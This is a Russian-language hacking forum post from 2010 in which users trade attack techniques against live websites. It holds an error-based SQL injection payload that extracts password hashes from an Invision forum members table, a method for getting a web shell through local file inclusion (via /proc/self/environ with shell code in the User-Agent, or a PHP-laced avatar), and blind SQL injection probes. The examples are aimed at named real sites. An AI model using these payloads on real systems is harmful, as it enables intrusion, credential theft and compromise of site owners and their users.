02.07.2010, 18:04
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740
Репутация:
912
|
|
#Wolf#, попробуй -
Код:
Code:
id=201255656844 and(select 1 from(select count(*),concat((select converge_pass_hash from `ibf_members_converge` limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
-------------------
Сообщение от CyberHunter
CyberHunter said:
Скажите как можно залить шелл через LFI?
Вот например
тут
И какие нужны права на это? Как вариант, можно регнуться, залить аватар с пхп кодом и проинклудить. Или инклудь логи, подробнее тут
_http://www.stolarzowice.info/index.php?option=com_jesubmit&view=../../../../../../../../../../../../../proc/self/environ%00
в User-Agent пишешь код шелла.
-------------------
Сообщение от SeNaP
SeNaP said:
как быть тут?
http://fixwap.net/ru/html/complain.php?uid=-1%20OR%2017-7=10
http://fixwap.net/ru/html/complain.php?uid=26300+and+mid(version(),1,1)=4 -> false
http://fixwap.net/ru/html/complain.php?uid=26300+and+mid(version(),1,1)=5 -> true
|
|
|